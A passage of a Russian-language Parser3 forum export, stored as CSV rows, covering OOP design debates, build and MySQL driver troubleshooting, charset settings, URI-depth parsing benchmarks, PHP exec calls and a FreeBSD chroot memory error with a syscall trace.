$Navigator[^Navigator::create[]]\
...\
\
@CLASS\
Auth\
\
@create[]\
\
@fLogin[lc_param]\
#...\
# Вопрос: как мне отсюда записать в SiteModel.Data[ $.UserStatus[signed] ]\
#         в контексте экземпляра SiteModel.self разумеется\
#\
\
@fLogout[]\
#...\
\
@fRegister[]\
#...\
\
\
[/code]\
\
\
Ясно-понятно, что я могу обойтись без суб-классов, и положить всё\
плоско и процедурно в SiteModel в виде портянки методов, типа\
\
@Auth_login\
@Auth_logout\
\
и так далее...\
\
Но опять же если мне понадобится параллельный экземпляр какого-либо класса, то тут возникнет нагромождение..\
\
Пример применения обширный, навскиду функция: посмотреть как смотрится блок записей глазами public-пользователя, тут может понадобиться создать Auth-экземпляр с public-статусом, то и случаи когда мне в рамках сессии пользователя нужна параллельная работа с другими частями сайта но под другим пользователем/режимом...\
\
P.S.:\
Опять же так можно и вовсе всё сделать плоскими методами в MAIN, нафиг они тогда вообще сдались эти классы )) (В рамках эксперимента давно на них гляжу с неодобрением, с каждым разом утверждаясь в мыслях, что класс-ориентированная парадигма в своем классическом исполнении - какая-то абстрактная помойка и толька кажется гармоничной, все больше поглядывая на вложенные структуры и функторы OCaml) \
Ради чего они? Ради контекста переменных/полей и статуса(инициировано)? \
Это легко заменяется вложением всех полей в разные ключи хеша оставаясь технически в процедурном стиле.\
В остальном только ради красивого нейминга. В то время, как работа с иерархией (композиционной способностью классов - никакая).\
Ну и наследование, это не более чем шаблон, а точнее прототип из прототип-ориентированной парадигмы, которого просто не хватало в класс-ориентированной.\
\
Или я что-то упустил из перечня возможностей классов? (Я не так давно вылез из джунглей чисто процедурного любительского быдлокодинга, так что может я ошибаюсь)"
"80584","... сохранить его в поле объекта и обращаться к нему как к своей переменной.\
\
Опять сошлюсь на PF — http://code.volchkov.net/parser3-pf/src/f544faff6a3bf6ee1049e82ff1fae08a0af0b01b/auth/pfAuthCookie.p?at=pf\
\
p.s. Эта древняя архитектурная схема сегодня называется модным словосочетанием «dependency injection». :)"
"80585","ООП хорошо помогает структурировать программы. По этому поводу написаны тонны книг от классического труда Грэди Буча «Объектно-ориентированный анализ и проектирование с примерами приложений» до книг по шаблонам проектирования (см. https://www.ozon.ru/?context=tag_list&TagName=%ef%e0%f2%f2%e5%f0%ed%fb).\
\
p.s. Наследование не шаблон, а фундаментальное свойство ООП."
"80586","Т.е. \
кусочек из вашего примера:\
\
[code]\
@create[aOptions]\
## aOptions.storage - объект-хранилище данных аутентификации\
## aOptions.security - объект, реализующий контроль доступа\
## aOptions.formPrefix[auth.] - префикс для переменных форм и кук. \
\
[/code]\
\
aOptions - это и есть экземпляр родительского объекта?\
а в каментах вы пишете, по сути те поля, которые будут использваны от него?\
Правильно я всё понял?\
\
А если из под 2-3-его уровня в первый писать, то, как-то так, получается?\
\
 aOptions.aOptions.aOptions.field_of_1stClass ?"
"80587","А еще можно подняться уровнем выше и посмотреть на реализации базовых классов и наследников, посмотреть примеры в описании и т.д.\
\
http://code.volchkov.net/parser3-pf/src/f544faff6a3b/auth/?at=pf\
\
p.s. aOptions — это параметр-хеш. Таким образом в Парсере организуются именованные параметры методов.\
p.p.s. Перестаньте постоянно думать как устроен код, вызывающий объект. Объект про это ничего знать не должен. Он знает только про свои поля, методы и интерфейс объектов, которые он использует. Все, что объекту нужно от внешнего кода должно прийти явно. В конструктор."
"80588","А мне вот кажется, что все тонны книжек могут легко ошибаться (простите за дерзость).\
\
Ну вот я и пытаюсь структурировать, в структурировании мне композиция/декомпозиция не менее важна, чем плоское сущностное/аспектное отделение. \
\
И вижу, что тут не все так волшебно, т.к. прошлые выверты как раз об это и бились.\
\
Какую фундаментальность дает наследование,кроме фактического ре-использования частей уже написанного кода?\
\
Да ничего, ни технически, ни аспектно. \
\
Отдельного экземпляра родителя(базового) класса нет? \
-Нет \
И статическое обращение нам об это недвусмысленно намекает.\
Стало быть все обращения ^BASE:method[] ^self.method[]\
\
это не более чем плоское процедурное\
 ^было_метод[]  ^стало_метод[]  \
при возможности их одновременно использовать в одном экземпляре\
\
Родитель это просто болванка-шаблон,\
по которому \"обводится\" новый класс. \
И правильно что он называется базовый, а не родительский.\
\
Если в процедурном стиле можно легко обойтись без этого фундаментального свойства - то не такое уж оно и фундаментальное. \
\
Без него, вы в худшем случае получите избыточность в переписывании тех методов которые уже где-то были.\
Кстати, в голом процедурном стиле этого бы даже не понадобилось.\
\
Таким образом, наследование в классах - это скорее \"базирование на классе, только как на шаблоне\", \
Оно дает несомненное удобство, и выразительность - но это называется синтаксический сахар :)\
\
Вот такими безхитростными аргументами мы пришли к мысли, что наследование в классах это только синтаксический сахар, а не фундаментальное свойство.\
\
С Рождством всех! :)"
"80593","собственный вирт. сервер (openvz), конфигурация:\
\
OS:\
CentOS release 6.5 (Final)\
Linux host42... 2.6.32-042stab088.4 #1 SMP Thu Apr 3 17:41:05 MSK 2014 x86_64 x86_64 x86_64 GNU/Linux\
\
MySQL:\
mysql  Ver 14.14 Distrib 5.1.73, for redhat-linux-gnu (x86_64) using readline 5.1\
\
Apache:\
httpd.x86_64                     2.2.15-31.el6.centos                @updates\
\
SELinux:\
SELinux status:                 disabled\
\
сервер при этом не загружен, оперативной памяти свободно гигабайт 10\
\
----\
\
сначала попробовал скачать уже собраный парсер, для CentOS (64 и 32-битной) версии 3_4_3 - в итоге получаем критическую ошибку \"segmentation fault\" (это не зависимо от того как я его запускаю, в терминале или через apache)\
\
далее я решил собрать парсер самостоятельно... \
через svn получил последнюю версию (3_4_3), пришлось подправить buildall (отредактировал путь на скачивание libxml и libxslt, старые ссылки были битые..я просто прописал версию чуть свежее libxml2-2.9.2, libxslt-1.1.28), ну и просто запустив ./buildall собрал сам парсер (запускал без каких-либо опций)\
\
после сборки и настройки самого парсера, скачал libparser3mysql.so (для Centos, пробовал 32 и 64 версию) так же прописал в конфиге парсера (auto.p) путь к libmysqlclient.so (тот что у меня имеется в centos, из пакета mysql-devel, причем пробовал и 32 и 64 версии)\
\
запукаю _test.html, все работает кроме \"Working with SQL\":\
^int:sql{SELECT 2+2}: Problems with SQL operations. Probably SQL drivers not found. \
Error message:\
\
driver failed to initialize client library '/var/www/user69/data/www/somedir/cgi/lib/system/libmysqlclient.so.16.0.0', libresolv.so.2: failed to map segment from shared object: Cannot allocate memory \
/var/www/user69/data/www/somedir/cgi/lib/libparser3mysql.so\
\
\
так же попробовал собрать libparser3mysql.so из исходников - ничего не изменилось, получаю ту же ошибку\
\
\
\
вот не знаю куда копать, все что я еще не попробовал это собрать libmysqlclient.so из исходников (но не думаю что с ним проблема... он всетаки из родного репозитория установлен, и с версией mysql соответствует)\
\
какие идеи? куда копать? может я не знаю о каких-то опциях, или можно включить более подробный режим отладки?"
"80594","[quote]вот не знаю куда копать, все что я еще не попробовал это собрать libmysqlclient.so из исходников (но не думаю что с ним проблема... он всетаки из родного репозитория установлен, и с версией mysql соответствует)[/quote]\
\
Сейчас проблема именно с загрузкой libmysqlclient.so (и все остальное вы уже собрали под свою OS). Меня смущает путь:\
\
/var/www/user69/data/www/somedir/cgi/lib/system/libmysqlclient.so.16.0.0\
\
Это путь не к системной библиотеке (которые обычно в /usr/lib/). Надо использовать именно системную. Или вы ее туда скопировали? Ну и раз OS у вас 64 бита, то и парсер, и библиотеки должны быть 64 бита.\
\
P.S. Поиск по вашей текущей ошибке выдает такой топик:\
\
http://forum.openvz.org/index.php?t=msg&goto=27200&\
\"It turns out the softlimit (http://cr.yp.to/daemontools/softlimit.html) setting was too low\" Возможно и у вас дело в лимитах на память?"
"80595","в конфигурации apache понадобилось увеличить значение в параметре RLimitMEM (лимит на выделяемую память для приложения) , теперь все ок =)"
"80599","всех благ!"
"80602","Столкнулся с такой же проблемой, весь день искал причину. Нашел.\
\
 # setsebool -P httpd_enable_cgi 1\
 # chcon -R -t httpd_sys_script_exec_t cgi-bin/your_script.cgi"
"80603","С новым! Интересно, что ждет Parser в 2015?"
"80604","Инда хочу померять глубину.\
\
Эхолот такой:\
\
[code]#беру адрес\
$uri[$request:uri]\
#отсекаю лишнее и сохраняю.\
$fixuri[^uri.split[?;lh]] \
$uri[$fixuri.0]\
#а теперь хочу посчитать слеши и сделать выводы.\
$depth[^uri.split[/;rh]]\
$deep[$depth.1]... ээ[/code]\
\
Подскажите, пожалуйста, куда копать дальше? Каким циклом посчитать осколки $depth?\
\
Спасибо."
"80605","[code]#беру адрес\
$uri[$request:uri]\
#отсекаю лишнее и сохраняю.\
$fixuri[^uri.split[?;lh]] \
$uri[$fixuri.0]\
#а теперь хочу посчитать слеши и сделать выводы\
$depth[^uri.split[/]]\
$depth[^depth.select(def $depth.piece)]\
\
#кол-во подразделов\
^depth.count[]\
\
#в menu можно пройтись по всем и посмотреть что там..\
^depth.menu{\
	...\
}\
[/code]"
"80606","[code]$depth(0)\
$_[^request:uri.match[(\\/[^^\\?\\/]?)(\\?.*)?][g]{^depth.inc[]}]\
$depth[/code]"
"80608","[code]$uri[$request:uri]\
$fixuri[^uri.split[?;lh]] \
$uri[^fixuri.0.trim[both;/]]\
$depth(^uri.split[/])[/code]"
"80610","как то я упустил этот ключик, давно в доку по match не заглядывал\
тогда еще проще\
\
[code]^request:uri.match[(\\/[^^\\?\\/]?)(\\?.*)?][gn][/code]"
"80611","По моим наколенным замерам вариант со split вдвое быстрее и примерно равен по памяти match."
"80612","[code]\
@USE\
debug/Erusage.p\
\
\
@main[][v]\
$n(10000)\
$s[/a/ab/abc/xyzw/herts/?df/11/22?333]\
$r[^regex::create[(?:/[^^\\?/]?)(?:\\?.*)?][gn]]\
^memory:compact[]\
^Erusage:measure{^m1[$s]}[v]\
<hr />\
ms: $v.time<br />\
KB: $v.memory_kb<br />\
BL: $v.memory_block\
\
\
@m1[s][i;j]\
^for[i](1;$n){$result(^s.match[(?:/[^^\\?/]?)(?:\\?.*)?][gn])}\
\
\
@m2[s][i;j]\
^for[i](1;$n){$result(^s.match[$r])}\
\
\
@m3[s][i;j;fixuri;uri]\
^for[i](1;$n){$fixuri[^s.split[?;lh]]$uri[^fixuri.0.trim[both;/]]$result(^uri.split[/])}\
\
\
@z[]\
[/code]\
\
m1:\
6\
ms: 105.011\
KB: 9748\
BL: 10044\
\
m2:\
6\
ms: 64.007\
KB: 6592\
BL: 6784\
\
m3:\
5\
ms: 135.014\
KB: 19680\
BL: 20348\
\
да, я чуть пооптимизировал regex (убрал запоминание)\
если кому-то надо вызывать этот метод тысячи раз -- можно вынести создание regex-а из метода (m2), будет ещё быстрее.\
в общем это не удивительно, т.к. у данных match-ей не происзодит создания объектов. у двух сплитов создаются 2 таблицы каждый раз.\
\
P.S. методы возвращают разные результаты. зависит это от завершающего хэша. что нужно в результате я не знаю, если последний слэш не нужно учитывать, то Maxx подправит regex :)\
\
P.P.S. но вообще этот метод по логике должен вызываться буквально пару раз. т.е. смысла в его ускорении нет ни малейшего. поэтому использовать стоит тот вариант, который проще читается. для кого-то это [url=http://bash.im/quote/431836]match[/url], для кого-то -- [url=http://bash.im/quote/429855]split[/url]."
"80613","Я сравнивал с вариантом без n, где делается inc.\
Ответил, пожалуй, некорректно.\
\
А вообще, это повод произвести оптимизацию split'а!"
"80614","Работа с SQL\
\
[code] Выполнение простого SQL запроса ^int:sql{SELECT 2+2}:\
 4 \
\
 SQL преобразование строки с русским алфавитом к верхнему регистру:\
Преобразование было произведено не корректно. \
Результат: 'абвгдеёжзийклмнопрстуфхцчшщъыьэюя' (должно быть: 'АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ'). \
\
 Проверка значений переменных SQL сервера CHARACTER_SET/CHARACTER_SET_CLIENT:\
 Используемая версия MySQL сервера (5.6.12) сама умеет гибко перекодировать данные. Ваши файлы храняться в кодировке KOI8-R ($request:charset), поэтому просто добавьте параметр ?charset=koi8_ru в строке соединения и всё. \
[/code]\
Добавить несложно, получаем:\
[code]\
Unhandled Exception\
Unknown character set: 'koi8_ru'\
mysql://****@[/tmp/mysql.sock]/world?charset=koi8_ru\
/home/larrikin/www/0/_test.html(533)\
 exception.type=sql.connect \
connect /home/larrikin/www/0/_test.html(533)\
try /home/larrikin/www/0/_test.html(532)\
if /home/larrikin/www/0/_test.html(527)[/code]"
"80615","MySQL 5.x не знает про koi8_ru (да и вам про неё лучше бы забыть и перейти на utf-8 или 1251). можете попробовать указать ?charset=koi8r (koi8r -- [url=http://dev.mysql.com/doc/refman/5.5/en/charset-cyrillic-sets.html]название кодировки у mysql-я[/url])\
\
ещё можете использовать вариант: ?ClientCharset=xyz, где xyz -- кодировка букв в БД (xyz -- парсерное название кодировки, это как они определены у вас в $CHARSETS). можете указать utf-8 (лучше) или windows-1251. перекодировать при этом всё будет парсер."
"80616","/world?charset=koi8r]\
\
[code]SQL преобразование строки с русским алфавитом к верхнему регистру:\
Преобразование было произведено не корректно. \
Результат: '?????????????????????????????????' (должно быть: 'АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ'). \
\
 Проверка значений переменных SQL сервера CHARACTER_SET/CHARACTER_SET_CLIENT:\
 Значение переменой CHARACTER_SET_CLIENT совпадает со значением $request:charset, следовательно в настоящий момент кодировки настроены верно.[/code]\
\
/world?ClientCharset=utf-8]\
\
[code]\
Преобразование было произведено не корректно. \
Результат: 'абвгдеёжзийклмнопрстуфхцчшщъыьэюя' (должно быть: 'АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ'). \
\
 Проверка значений переменных SQL сервера CHARACTER_SET/CHARACTER_SET_CLIENT:\
 Используемая версия MySQL сервера (5.6.12) сама умеет гибко перекодировать данные. Ваши файлы храняться в кодировке KOI8-R ($request:charset), поэтому просто добавьте параметр ?charset=koi8_ru в строке соединения и всё. \
\
При этом в качестве кодировки, в которой данные будут храниться в базе данных, вы можете выбрать любую кодировку, которая в состоянии хранить весь набор символов из кодировки KOI8-R ($request:charset). Мы рекомендуем использовать для этого UTF-8. При этом кодировку вы можете задать для конкретной базы данных, а не для всего сервера.[/code]"
"80617","Сайт сделали лет 7 назад если не больше.\
Если кому интересно пишите на oomm соб list.ru\
или сюда. Но лучше на мыло или на скаип Olegan946"
"80622","[code]Работа с SQL\
\
 Выполнение простого SQL запроса ^int:sql{SELECT 2+2}:\
 4 \
\
 SQL преобразование строки с русским алфавитом к верхнему регистру:\
 Преобразование регистра было произведено корректно. \
\
 Проверка значений переменных SQL сервера CHARACTER_SET/CHARACTER_SET_CLIENT:\
 Значение переменой CHARACTER_SET_CLIENT совпадает со значением $request:charset, следовательно в настоящий момент кодировки настроены верно.[/code]"
"80623","Понадобилось вдруг написать код для вывода сессионной ид. Есть два файла, один html другой php\
\
[code]<?php\
 \
 function get_fucking_id() {\
 session_start();\
 session_destroy();\
   session_start();\
   session_regenerate_id(true);\
	\
echo session_id();    \
    }\
\
get_fucking_id();[/code]\
\
\
?>\
html файл выглядит так\
\
[code]@main[]\
<html>\
<body>\
$f[^file::exec[index1.php]]\
$f.text\
</body>\
</html>[/code]\
\
Файл ничего не выводит, а status показывал 243, права были поменяны на 755 и тогда стало 248. Что это может быть? Оба файла лежат в одном месте."
"80624","Консольным скриптам надо явно указать чем обрабатывать текст файла. Добавьте в index1.php первой строкой:\
[code]\
#!/usr/bin/env php\
[/code]\
\
Или явно укажите file::exec где лежит php:\
[code]\
  ^file::exec[/path/to/php;;-f;./index1.php]\
[/code]\
\
Второй вариант несколько хуже — путь надо указывать от document-root'а. Но для виндоуса это практически единственный вариант."
"80625","Первый вариант помог. Благодарю."
"80626","[code]% ./buildall --without-xml --strip\
Building statically linked parser3\\c\
, without xml\\c\
, without debug information\\c\
\
Downloading pcre-8.33...\
fetch: ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/pcre-8.33.tar.gz: File unavailable (e.g., file not found, no access)\
Unpacking pcre-8.33...\
gunzip: can't stat: pcre-8.33.tar.gz: No such file or directory\
cd: pcre-8.33: No such file or directory\
Configuring pcre-8.33...\
./buildall: ./configure: not found\
Building pcre-8.33...\
make: don't know how to make install. Stop\
Configuring parser3...\
configure: error: /home/larrikin/parser3.src/pcre does not seem to be valid PCRE installation directory\
Building parser3...\
make: don't know how to make install. Stop\
[/code]"
"80627","Их брать, или искать где-то именно 33?"
"80628","Пришлите адрес сайта"
"80632","PCRE очень стабильная библиотека, поэтому можно спокойно менять версии в скрипте сборки."
"80634","при компиляции, если обнаруживается, что одноимённый класс уже существует, выдаётся ошибка. у ^use[] и ^process{} её можно отключить с помощью опций, но в подавляющем большинстве случаев надо не ошибку отключать, а делать так, чтобы до неё не доходило.\
\
причина ошибки в том, что @USE и ^use[] при подключении файлов проверяют полный путь к файлу. если при повторном @USE файла полный путь к нему совпадает до символа с путём к ранее подключенному файлу, то файл не загружается и не компилируется.\
\
т.е. если вы напишите:\
[code]\
@USE\
file.p\
file.p\
[/code]\
\
то вторая инструкция будет просто проигнорирована.\
\
а если напишите:\
[code]\
@USE\
file.p\
../dir/file.p\
[/code]\
\
то вторая инструкция будет выполнена и тот-же самый файл file.p будет загружен и скомпилирован повторно.\
\
что касается исправления этой ошибки, то тут дожен подумать программист.\
в случае с sql классами, то они загружаются один раз. поэтому каталог, где они лежат лучше убрать из CLASS_PATH, и \"заюзать\" классы напрямую:\
[code]\
@USE\
sql/mysql.p\
[/code]"
"80636","периодически (на при каждом срабатывании кода) в логи падает\
\
'upper' change_case_UTF8 error: end pointers do not match [<no type>] или 'upper' change_case_UTF8 error: too big tmpVal(0x0186DC33) [<no type>]\
\
пример кода \
\
[code]\
$str[$form:text]\
$str[^str.trim[]]\
$s[^str.upper[]] \
[/code]"
"80639","Посмотрел. Но ничего не понял.\
У меня:\
parser 3.4.3\
$request:charset[utf-8]\
$response:charset[utf-8]\
\
Как я могу повлиять на то в какой кодировке ко мне придет GET запрос? Никак. Моя задача его получить и обработать. Какими средствами парсера понять в какой кодировке приходит GET запрос?"
"80641","Что до настройки исключения:\
[code]$str[$form:text]\
\
^try{\
	$str[^str.trim[]]\
	$s[^str.upper[]]\
}{\
	$log[$str^#0A]\
	^log.save[append;/upper-error.log]\
}[/code]\
\
И посмотреть по логу что же приходит."
"80642","Пытаюсь сделать chroot для парсера на FreeBSD 9.2-BETA1 amd64\
\
/tmp/ILF/parser3/parser3\
[code]\
/tmp/ILF/parser3/parser3: file not specified\
Parser/3.4.4b (compiled on x86_64-unknown-freebsd9.2)\
Copyright (c) 2001-2013 Art. Lebedev Studio (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Usage: /tmp/ILF/parser3/parser3 [options] file\
Options are:\
    -f config_file  Use this config file (/path/to/auto.p)\
    -h              Display usage information (this message)\
[/code]\
\
chroot /tmp/ILF /parser3/parser3\
[code]Insufficient memory for GC_all_nils[/code]\
\
Как починить?"
"80643","[code]mmap(0x0,32768,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON,-1,0x0) = 34366132224 (0x800619000)\
issetugid(0x800819a60,0x7fffffffefcf,0x40,0x0,0xffff80080081aa91,0x0) = 0 (0x0)\
lstat(\"/etc\",{ mode=drwxr-xr-x ,inode=196993,size=2048,blksize=32768 }) = 0 (0x0)\
lstat(\"/etc/libmap.conf\",0x7fffffffc530)         ERR#2 'No such file or directory'\
open(\"/var/run/ld-elf.so.hints\",O_RDONLY,057)    = 3 (0x3)\
read(3,\"Ehnt\\^A\\0\\0\\0\\M^@\\0\\0\\0Y\\0\\0\\0\\0\"...,128) = 128 (0x80)\
lseek(3,0x80,SEEK_SET)                           = 128 (0x80)\
read(3,\"/lib:/usr/lib:/usr/lib/compat:/u\"...,89) = 89 (0x59)\
close(3)                                         = 0 (0x0)\
access(\"/lib/libc.so.7\",0)                       = 0 (0x0)\
open(\"/lib/libc.so.7\",O_RDONLY,040322740)        = 3 (0x3)\
fstat(3,{ mode=-r--r--r-- ,inode=199493,size=1405496,blksize=32768 }) = 0 (0x0)\
mmap(0x0,4096,PROT_READ,MAP_PRIVATE|0x40000,3,0x0) = 34366164992 (0x800621000)\
mmap(0x0,3518464,PROT_NONE,MAP_PRIVATE|MAP_ANON|MAP_NOCORE,-1,0x0) = 34368237568 (0x80081b000)\
mmap(0x80081b000,1269760,PROT_READ|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_NOCORE|0x40000,3,0x0) = 34368237568 (0x80081b000)\
mmap(0x800b51000,45056,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|0x40000,3,0x136000) = 34371604480 (0x800b51000)\
mmap(0x800b5c000,106496,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|MAP_ANON,-1,0x0) = 34371649536 (0x800b5c000)\
munmap(0x800621000,4096)                         = 0 (0x0)\
close(3)                                         = 0 (0x0)\
mmap(0x0,102400,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON,-1,0x0) = 34366164992 (0x800621000)\
sysarch(0x81,0x7fffffffd2a0,0x80061f088,0x0,0xffffffffffaca580,0x8080808080808080) = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
sigprocmask(SIG_BLOCK,SIGHUP|SIGINT|SIGQUIT|SIGKILL|SIGPIPE|SIGALRM|SIGTERM|SIGURG|SIGSTOP|SIGTSTP|SIGCONT|SIGCHLD|SIGTTIN|SIGTTOU|SIGIO|SIGXCPU|SIGXFSZ|SIGVTALRM|SIGPROF|SIGWINCH|SIGINFO|SIGUSR1|SIGUSR2,0x0) = 0 (0x0)\
sigprocmask(SIG_SETMASK,0x0,0x0)                 = 0 (0x0)\
__sysctl(0x7fffffffda60,0x2,0x7fffffffda7c,0x7fffffffda70,0x0,0x0) = 0 (0x0)\
readlink(\"/etc/malloc.conf\",0x7fffffffd5c0,1024) ERR#2 'No such file or directory'\
issetugid(0x80092aa49,0x7fffffffd5c0,0xffffffffffffffff,0x0,0x2,0x0) = 0 (0x0)\
break(0x800000)                                  = 0 (0x0)\
mmap(0x0,4194304,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON,-1,0x0) = 34371756032 (0x800b76000)\
mmap(0x800f76000,565248,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON,-1,0x0) = 34375950336 (0x800f76000)\
munmap(0x800b76000,565248)                       = 0 (0x0)\
chdir(\"/tmp/ILF\")                                = 0 (0x0)\
chroot(\".\")                                      = 0 (0x0)\
execve(\"/parser3/parser3\",<missing argument>,<missing argument>) = 0 (0x0)\
mmap(0x0,32768,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON,-1,0x0) = 34367455232 (0x80075c000)\
issetugid(0x80095ca60,0x7fffffffefcf,0x40,0x0,0xffff80080095da91,0x0) = 0 (0x0)\
lstat(\"/etc\",{ mode=drwxr-xr-x ,inode=196996,size=512,blksize=32768 }) = 0 (0x0)\
lstat(\"/etc/libmap.conf\",0x7fffffffc550)         ERR#2 'No such file or directory'\
open(\"/var/run/ld-elf.so.hints\",O_RDONLY,057)    ERR#2 'No such file or directory'\
access(\"/lib/libcrypt.so.5\",0)                   = 0 (0x0)\
open(\"/lib/libcrypt.so.5\",O_RDONLY,045352740)    = 3 (0x3)\
fstat(3,{ mode=-r--r--r-- ,inode=197018,size=58640,blksize=32768 }) = 0 (0x0)\
mmap(0x0,4096,PROT_READ,MAP_PRIVATE|0x40000,3,0x0) = 34367488000 (0x800764000)\
mmap(0x0,2224128,PROT_NONE,MAP_PRIVATE|MAP_ANON|MAP_NOCORE,-1,0x0) = 34369560576 (0x80095e000)\
mmap(0x80095e000,53248,PROT_READ|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_NOCORE|0x40000,3,0x0) = 34369560576 (0x80095e000)\
mmap(0x800b6b000,4096,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|0x40000,3,0xd000) = 34371710976 (0x800b6b000)\
mmap(0x800b6c000,69632,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|MAP_ANON,-1,0x0) = 34371715072 (0x800b6c000)\
munmap(0x800764000,4096)                         = 0 (0x0)\
close(3)                                         = 0 (0x0)\
access(\"/lib/libstdc++.so.6\",0)                  ERR#2 'No such file or directory'\
access(\"/usr/lib/libstdc++.so.6\",0)              = 0 (0x0)\
open(\"/usr/lib/libstdc++.so.6\",O_RDONLY,045352740) = 3 (0x3)\
fstat(3,{ mode=-r--r--r-- ,inode=197022,size=1065016,blksize=32768 }) = 0 (0x0)\
mmap(0x0,4096,PROT_READ,MAP_PRIVATE|0x40000,3,0x0) = 34367488000 (0x800764000)\
mmap(0x0,3235840,PROT_NONE,MAP_PRIVATE|MAP_ANON|MAP_NOCORE,-1,0x0) = 34371784704 (0x800b7d000)\
mmap(0x800b7d000,1028096,PROT_READ|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_NOCORE|0x40000,3,0x0) = 34371784704 (0x800b7d000)\
mmap(0x800e77000,36864,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|0x40000,3,0xfa000) = 34374905856 (0x800e77000)\
mmap(0x800e80000,77824,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|MAP_ANON,-1,0x0) = 34374942720 (0x800e80000)\
munmap(0x800764000,4096)                         = 0 (0x0)\
close(3)                                         = 0 (0x0)\
access(\"/lib/libm.so.5\",0)                       = 0 (0x0)\
open(\"/lib/libm.so.5\",O_RDONLY,045352740)        = 3 (0x3)\
fstat(3,{ mode=-r--r--r-- ,inode=197019,size=160512,blksize=32768 }) = 0 (0x0)\
mmap(0x0,4096,PROT_READ,MAP_PRIVATE|0x40000,3,0x0) = 34367488000 (0x800764000)\
mmap(0x0,2232320,PROT_NONE,MAP_PRIVATE|MAP_ANON|MAP_NOCORE,-1,0x0) = 34375020544 (0x800e93000)\
mmap(0x800e93000,135168,PROT_READ|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_NOCORE|0x40000,3,0x0) = 34375020544 (0x800e93000)\
mmap(0x8010b3000,4096,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|0x40000,3,0x20000) = 34377248768 (0x8010b3000)\
munmap(0x800764000,4096)                         = 0 (0x0)\
close(3)                                         = 0 (0x0)\
access(\"/lib/libgcc_s.so.1\",0)                   = 0 (0x0)\
open(\"/lib/libgcc_s.so.1\",O_RDONLY,045352740)    = 3 (0x3)\
fstat(3,{ mode=-r--r--r-- ,inode=197020,size=59720,blksize=32768 }) = 0 (0x0)\
mmap(0x0,4096,PROT_READ,MAP_PRIVATE|0x40000,3,0x0) = 34367488000 (0x800764000)\
mmap(0x0,2154496,PROT_NONE,MAP_PRIVATE|MAP_ANON|MAP_NOCORE,-1,0x0) = 34377252864 (0x8010b4000)\
mmap(0x8010b4000,53248,PROT_READ|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_NOCORE|0x40000,3,0x0) = 34377252864 (0x8010b4000)\
mmap(0x8012c1000,4096,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|0x40000,3,0xd000) = 34379403264 (0x8012c1000)\
munmap(0x800764000,4096)                         = 0 (0x0)\
close(3)                                         = 0 (0x0)\
access(\"/lib/libc.so.7\",0)                       = 0 (0x0)\
open(\"/lib/libc.so.7\",O_RDONLY,045352740)        = 3 (0x3)\
fstat(3,{ mode=-r--r--r-- ,inode=197021,size=1405496,blksize=32768 }) = 0 (0x0)\
mmap(0x0,4096,PROT_READ,MAP_PRIVATE|0x40000,3,0x0) = 34367488000 (0x800764000)\
mmap(0x0,3518464,PROT_NONE,MAP_PRIVATE|MAP_ANON|MAP_NOCORE,-1,0x0) = 34379407360 (0x8012c2000)\
mmap(0x8012c2000,1269760,PROT_READ|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_NOCORE|0x40000,3,0x0) = 34379407360 (0x8012c2000)\
mmap(0x8015f8000,45056,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|0x40000,3,0x136000) = 34382774272 (0x8015f8000)\
mmap(0x801603000,106496,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_FIXED|MAP_ANON,-1,0x0) = 34382819328 (0x801603000)\
munmap(0x800764000,4096)                         = 0 (0x0)\
close(3)                                         = 0 (0x0)\
mmap(0x0,36864,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON,-1,0x0) = 34367488000 (0x800764000)\
access(\"/lib/libsupc++.so.1\",0)                  ERR#2 'No such file or directory'\
access(\"/usr/lib/libsupc++.so.1\",0)              ERR#2 'No such file or directory'\
munmap(0x800769000,16384)                        = 0 (0x0)\
mmap(0x0,102400,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON,-1,0x0) = 34367508480 (0x800769000)\
